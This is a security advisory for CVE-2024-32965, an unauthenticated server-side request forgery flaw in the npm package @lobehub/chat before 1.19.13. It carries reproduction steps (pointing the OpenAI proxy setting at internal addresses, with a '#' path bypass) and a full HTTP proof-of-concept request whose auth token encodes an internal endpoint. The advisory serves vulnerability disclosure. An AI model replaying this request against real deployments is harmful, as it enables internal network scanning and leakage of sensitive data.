CVE-2024-32965 – @lobehub/chat

Package

Manager: npm
Name: @lobehub/chat
Vulnerable Version: >=0 <1.19.13

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L

EPSS: 0.00041 pctl0.11647

Details

@lobehub/chat Server Side Request Forgery vulnerability ### Summary lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. ### Details * visit https://chat-preview.lobehub.com/ * click settings -> llm -> openai * fill the OpenAI API Key you like * fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#") * then lobe will echo the ssrf result The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web. ![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935) ### PoC ```http POST /api/chat/openai HTTP/2 Host: chat-preview.lobehub.com Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0 Content-Length: 158 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4 Content-Type: application/json X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0= Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/llm Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 Connection: close {"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]} ``` ### Impact SSRF, All users will be impacted.

Metadata

Created: 2024-11-26T15:39:38Z
Modified: 2024-11-26T21:43:24Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-2xcc-vm3f-m8rw/GHSA-2xcc-vm3f-m8rw.json
CWE IDs: ["CWE-918"]
Alternative ID: GHSA-2xcc-vm3f-m8rw
Finding: F100
Auto approve: 1